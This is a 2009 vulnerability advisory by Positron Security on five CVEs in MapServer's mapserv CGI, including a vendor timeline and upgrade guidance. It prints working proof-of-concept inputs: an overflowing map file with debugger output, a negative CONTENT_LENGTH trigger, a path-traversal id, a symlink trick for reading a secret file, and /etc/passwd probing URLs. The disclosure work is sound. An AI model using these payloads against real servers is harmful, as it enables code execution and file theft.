-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
POSITRON SECURITY LLC
<http://www.positronsecurity.com/>
Security Advisory #2009-000
Multiple Vulnerabilities in MapServer v5.2.1 and v4.10.3
Author: Joe Testa <jt _at_sign_ positronsecurity_dot_com>
Date: March 30th, 2009
URL: <http://www.positronsecurity.com/advisories/2009-000.html>
I. Executive Summary
MapServer [1] is a popular open-source, multi-platform program for
creating interactive map applications. It was originally developed by
the University of Minnesota with support from the U.S. National
Aeronautics and Space Administration (NASA) [2]. It is currently
supported by the Open Source Geospatial Foundation [3].
Several security vulnerabilities were identified in MapServer v5.2.1
and v4.10.3. All users are urged to upgrade to v5.2.2 or v4.10.4 as
soon as possible to protect against attack.
II. Overview
During an audit of the MapServer v5.2.1 source code, five (5)
vulnerabilities were identified ranging from low to medium/high
severity. They include stack and heap overflows, a relative path
writing weakness, a file content leakage, as well as a file existence
leakage. Furthermore, after reporting these issues to the vendor, a
second audit by the project maintainer not only determined that v4.10.3
was also affected, but that four (4) additional stack overflows existed
in the code as well.
III. Detailed Description
A. Stack-based Buffer Overflow (CVE-2009-0839)
Severity: Medium/High
A buffer overflow that could allow for the execution of arbitrary
code exists in the "mapserv" CGI program. In mapserv.c are the
following lines of code:
406: strncpy(mapserv->Id, mapserv->request->ParamValues[i], IDSIZE);
1112: int main(int argc, char *argv[]) {
1114: char buffer[1024], *value=NULL;
1783: sprintf(buffer, "%s%s%s%s", mapserv->map->web.imagepath, \
mapserv->map->name, mapserv->Id, MS_QUERY_EXTENSION);
1826: }
Notice that no size checking is done at line 1783 on the buffer
named "buffer", defined at line 1114. It is filled with three variables
and one static string. The first variable,
"mapserv->map->web.imagepath", is assigned the value of the IMAGEPATH
attribute inside the *.map file stored on the server. The second,
"mapserv->map->name", is taken from the NAME attribute inside the same
map file. The third variable, "mapserv->Id", is read from user input
at line 406, though it is restricted to IDSIZE (128) bytes. Thus, a
buffer overflow can be achieved by creating a map file on the server
with overly long IMAGEPATH and/or NAME attributes; their values will be
stored past the end of "buffer" and will overwrite saved register
values. If the following specially-crafted map file ("bof.map") is
stored on the server (either by creating it directly, or tricking a
legitimate user into placing it onto the file system):
MAP
NAME {"A" x 1072}GGGG
STATUS ON
SIZE 100 100
EXTENT 0 0 1 1
WEB
IMAGEPATH "/tmp/"
TEMPLATE "/tmp/template.html"
END
END
... and if the following request is made:
<http://site/cgi-bin/mapserv?map=/tmp/bof.map&mode=query&
queryfile=/tmp/queryfile.qf&savequery=1&id=HHHHIIIIJJJJKKKK>
... then the following crash occurs on a CentOS v5.2/x86 platform:
Program received signal SIGSEGV, Segmentation fault.
0x0804fdca in main ()
(gdb) disassemble main
[...]
0x0804fd9e <main+2318>: call 0x804bee0 <sprintf_at_plt>
0x0804fda3 <main+2323>: mov %edi,0x4(%esp)
0x0804fda7 <main+2327>: mov (%esi),%eax
0x0804fda9 <main+2329>: mov 0x10(%eax),%eax
0x0804fdac <main+2332>: mov %eax,(%esp)
0x0804fdaf <main+2335>: call 0x8074aa0 <msSaveQuery>
0x0804fdb4 <main+2340>: test %eax,%eax
0x0804fdb6 <main+2342>: je 0x804fb02 <main+1650>
0x0804fdbc <main+2348>: add $0x4e8,%esp
0x0804fdc2 <main+2354>: pop %ecx
0x0804fdc3 <main+2355>: pop %ebx
0x0804fdc4 <main+2356>: pop %esi
0x0804fdc5 <main+2357>: pop %edi
0x0804fdc6 <main+2358>: pop %ebp
0x0804fdc7 <main+2359>: lea 0xfffffffc(%ecx),%esp
0x0804fdca <main+2362>: ret
[...]
(gdb) i r
eax 0x1 1
ecx 0x47474747 1195853639
edx 0x0 0
ebx 0x48484848 1212696648
esp 0x47474743 0x47474743
ebp 0x4b4b4b4b 0x4b4b4b4b
esi 0x49494949 1229539657
edi 0x4a4a4a4a 1246382666
eip 0x804fdca 0x804fdca <main+2362>
[...]
Because the ECX register can be controlled (0x47 is the ASCII code for
the letter "G"), the attacker can control the ESP register through the
"lea 0xfffffffc(%ecx),%esp" instruction at 0x0804fdc7. The attacker can
execute code in mapserv's process space by setting the ESP register to
an address that holds a reference to code and letting the "ret"
instruction execute at 0x0804fdca; this will assign the EIP register an
attacker-supplied value.
This overflow may be triggered by user input as well. Note that the
"mapserv->Id" character array is defined as IDSIZE bytes long and that
the strncpy() call at mapserv.c:406 uses IDSIZE too. Since strncpy(3)
does not null-terminate the destination string if the source string is
greater than its size argument, an attacker can set the "id" CGI
variable to 128 characters, causing the sprintf() call at mapserv.c:1783
to continue writing bytes into "buffer" from heap memory (as the
"mapserv" variable is created with malloc(3)) until a zero byte is
found. While this method of triggering the overflow does not require a
corrupt map, it does require the attacker to manipulate heap memory into
a favorable state. The difficulty of this task has not been measured.
B. Heap-based Buffer Underflow (CVE-2009-0840)
Severity: Medium
By providing a specially-crafted POST request to the "mapserv" CGI
application, an out-of-bounds memory write can be triggered.
Specifically, by setting the "CONTENT_LENGTH" environment variable to
- -1, the code will write a zero byte to "data[ -1 ]", where "data" is a
character array allocated on the heap via malloc(3).
When the following is executed locally on the command line:
jdog_at_thegibson:~$ REQUEST_METHOD=POST CONTENT_LENGTH=-1 \
/path/to/mapserv
... the following occurs: execution will flow from main() in
mapserv.c and call function loadParams() in cgiutil.c at
mapserv.c:1201. loadParams() will then call readPostBody() (see below)
at cgiutil.c:125.
static char *readPostBody( cgiRequestObj *request )
{
char *data;
int data_max, data_len, chunk_size;
msIO_needBinaryStdin();
/* [...] */
if( getenv("CONTENT_LENGTH") != NULL ) {
55: data_max = atoi(getenv("CONTENT_LENGTH"));
56: data = (char *) malloc(data_max+1);
if( data == NULL ) {
[...]
exit( 1 );
}
63: if( (int) msIO_fread(data, 1, data_max, stdin) < data_max ) {
[...]
exit(1);
}
69: data[data_max] = '\0';
return data;
}
The "data_max" signed integer variable will be set to -1 at
cgiutil.c:55. The "data" character array is assigned the pointer
returned from "malloc( -1 + 1 )" on the following line (56). Note
that the Linux man page for malloc(3) (dated 2007-09-15) says:
"If [the argument] is 0, then malloc() returns either
NULL, or a unique pointer value that can later be
successfully passed to free()."
On an Ubuntu v8.04 system, malloc(0) is observed to return a non-null
pointer. Thus, execution continues. The msIO_fread() function call at
cgiutil.c:63 returns 0, so execution reaches cgiutil.c:69, which
contains "data[data_max] = '\0';". Because "data_max" is set to -1,
this causes the program to write a zero byte outside the bounds of the
"data" array in heap memory.
This can be triggered remotely any time MapServer is hosted on
a web server that does not sanitize the "CONTENT_LENGTH" field into a
non-negative value before passing it on to the CGI layer. Apache v2.x
is known to perform this sanitization (it rejects the request before
executing the "mapserv" CGI binary with HTTP error 413: "Request Entity
Too Large", presumably because it interprets the "Content-Length" header
as an unsigned value), and thus protects MapServer from being exploited
in this way. Because a comprehensive survey of web server software is
beyond the scope of this report, it is not known what web servers will
expose this vulnerability to a remote attacker.
C. Relative File Path Writing (CVE-2009-0841)
Severity: Medium/High
The "mapserv" CGI application can be tricked into creating files in
arbitrary locations in the file system with arbitrary names.
The pertinent lines of code follows:
[mapserv.c]
1783: sprintf(buffer, "%s%s%s%s", mapserv->map->web.imagepath, \
mapserv->map->name, mapserv->Id, MS_QUERY_EXTENSION);
1784: if((status = msSaveQuery(mapserv->map, buffer)) != MS_SUCCESS) \
return status;
[mapquery.c]
89: stream = fopen(filename, "wb");
90: if(!stream) {
91: [...]
92: return(MS_FAILURE);
93: }
As described in Section III(A), the "buffer" array in mapserv.c:1783
is filled with the contents of the IMAGEPATH and NAME attributes from
the map file, followed by user input ("mapserv->Id" corresponds to the
"id" CGI input variable). When this code is reached, a file path based
in IMAGEPATH is built and msSaveQuery() is called. The line at
mapquery.c:89 is soon reached in msSaveQuery(), which attempts to open
the file for writing in binary mode. For example, if the IMAGEPATH is
set to "/var/images/", the NAME is set to "MYMAP", and the "id"
parameter is passed "area1", then the path "/var/images/MYMAParea1.qy"
is opened for writing.
Unfortunately, no relative path checking is done. An attacker can
set the "id" parameter to "/../../../tmp/oops", which results in a path
string of "/var/images/MYMAP/../../../tmp/oops.qy"; this causes the
program to reference "/tmp/oops.qy". The following URL does this
(assuming that the IMAGEPATH and NAME parameters in {mapfile} have been
set accordingly):
<http://site/cgi-bin/mapserv?map={mapfile}&mode=query&
queryfile={queryfile}&savequery=1&id=/../../../tmp/oops>
Note that under the Linux platform, the fopen(3) function fails if
there does not exist a readable NAME ("MYMAP") sub-directory inside
IMAGEPATH ("/var/images/"). An attacker would need access to create
directories in the IMAGEPATH in order to take advantage of this
weakness. However, Windows programs compiled under Cygwin [4] do not
have this requirement; the fopen(3) call succeeds when no NAME ("MYMAP")
sub-directory exists.
D. File Data Leakage (CVE-2009-0842)
Severity: Medium
The "mapserv" CGI program can be made to leak sensitive information
in files if an attacker has access to create symlinks anywhere in the file
system. For example, consider the following sensitive file:
root_at_thegibson:~# echo "passw0rd" > /etc/sekrut
root_at_thegibson:~# chown www-data:www-data /etc/sekrut
root_at_thegibson:~# chmod 0400 /etc/sekrut
Notice that the attacker does not have access to this file:
attacker_at_thegibson:~$ cat /etc/sekrut
cat: /etc/sekrut: Permission denied
The attacker can recover the contents of this file by creating a symlink
to it in /tmp:
attacker_at_thegibson:~$ ln -s /etc/sekrut /tmp/sekrut.map
The attacker then accesses <http://site/cgi-bin/mapserv?
map=/tmp/sekrut.map> and receives the following error message:
msLoadMap(): Unknown identifier. Parsing error
near (passw0rd):(line 1)
Furthermore, any *.map file in the file system can be parsed in this
manner without creating a symlink because MapServer (by default) only
checks that the file name ends in ".map" before routing the request to
the fopen(3) system call with mode "r" (see mapfile.c:4640).
E. File Existence Leakage (CVE-2009-0843)
Severity: Low
The "mapserv" CGI program can be made to divulge the existence of
files on the file system by examining the difference between error
messages returned by the program. For example, if one goes to the
following URL against a UNIX system:
<http://site/cgi-bin/mapserv?map=/tmp/test.map&mode=query&
queryfile=/etc/passwd>
... then the following error message is returned:
msLoadQuery(): General error message. Invalid layer index loaded
from query file.
However, if a non-existent file is referenced in the "queryfile"
argument instead, such as:
<http://site/cgi-bin/mapserv?map=/tmp/test.map&mode=query&
queryfile=/does/not/exist>
... then this results in a different error message--one that explicitly
states that the file could not be accessed:
msLoadQuery(): Unable to access file. (/does/not/exist)
Thus, an attacker can observe the resulting error messages to deduce if
a file exists or not. This knowledge can be used to launch more
sophisticated attacks against the server.
Note that the "map" parameter must be set to a valid map file
already on the server (though for a functional installation, this can
be easily determined by examining legitimate server requests during
intended usage).
F. Additional Stack-based Buffer Overflows
The project maintainer, Steve Lime, conducted his own audit after
issues A - E (above) were reported to him. His audit identified
four (4) additional stack-based buffer overflows in maptemplate.c on
lines 3851, 3867, 3883, and 3898.
Finding the inputs required to trigger these overflows is left as
an exercise to the reader.
IV. Solution
All discovered vulnerabilities were fixed in MapServer v5.2.2:
<http://download.osgeo.org/mapserver/mapserver-5.2.2.tar.gz>. All users
are urged to upgrade to this version as soon as possible.
Because of the changes necessary to rectify the security issues
discovered herein, users may need to alter their configuration in order
to upgrade successfully. The vendor has made note of these alterations
at
<http://lists.osgeo.org/pipermail/mapserver-users/2009-March/060600.html>.
The vendor has also released version 4.10.4 to address the same
problems in the previous v4.x branch:
<http://download.osgeo.org/mapserver/mapserver-4.10.4.tar.gz>.
V. Vendor Timeline
Steve Lime, the project maintainer of MapServer, was highly
responsive and eager to resolve the issues as quickly as possible.
March 10th, 2009: Vendor (Open Source Geospatial Foundation)
contacted via <http://www.osgeo.org/feedback>.
March 11th - 18th, 2009: Private discussions held with Steve Lime
and evaluated proposed fixes.
March 18th - 26th, 2009: Vendor conducted internal code audit to
identify and fix additional
vulnerabilities.
March 26th, 2009: Vendor released v5.2.2 and v4.10.4 to solve all
discovered vulnerabilities.
VI. References
[1] "Welcome to MapServer - MapServer 5.2.1 documentation",
<http://www.mapserver.org/>, Retrieved March 5, 2009.
[2] "MapServer - Wikipedia, the free encyclopedia",
<http://en.wikipedia.org/wiki/MapServer>, Retrieved March 5, 2009.
[3] See "OSGeo.org | Your Open Source Compass" <http://www.osgeo.org/>,
Retrieved March 10th, 2009.
[4] See "Cygwin Information and Installation", <http://www.cygwin.com/>,
Retrieved March 5, 2009.
- ----
<http://www.positronsecurity.com/keys/positron_security_2009.key.asc>
Fingerprint: F567 5BEF 3450 A521 C00D 2690 D7BD 2A5C 9644 9804
Copyright 2009, Positron Security LLC. All rights reserved.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
iD8DBQFJ0QTa170qXJZEmAQRAkDSAKCaEX6LdREYqAX55uzUpATQPU5wNACfcNwW
gyDcPvpFLho/OVhkQIHRdiE=
=WOnP
-----END PGP SIGNATURE-----